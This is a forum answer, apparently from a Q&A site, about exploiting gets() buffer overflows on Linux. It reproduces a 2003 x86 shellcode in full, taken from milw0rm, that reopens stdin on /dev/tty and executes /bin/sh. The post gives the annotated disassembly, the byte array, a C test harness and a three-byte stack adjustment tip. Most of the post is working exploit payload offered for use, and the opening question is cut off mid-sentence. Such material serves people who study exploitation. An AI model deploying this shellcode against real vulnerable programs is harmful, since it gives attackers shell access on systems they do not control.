I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization
The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include add $0x10,%esp
at the top to give me more stack space, as all the push
es in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov $0x6,%al
* 8049386: cd 80 int $0x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push $0x7974742f
* 804938e: 68 2f 64 65 76 push $0x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov $0x2712,%cx
* 804939b: b0 05 mov $0x5,%al
* 804939d: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
* 80493a7: 68 2f 62 69 6e push $0x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov $0xb,%al
* 80493b5: cd 80 int $0x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.
If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and gdb
, have a look at my answer here.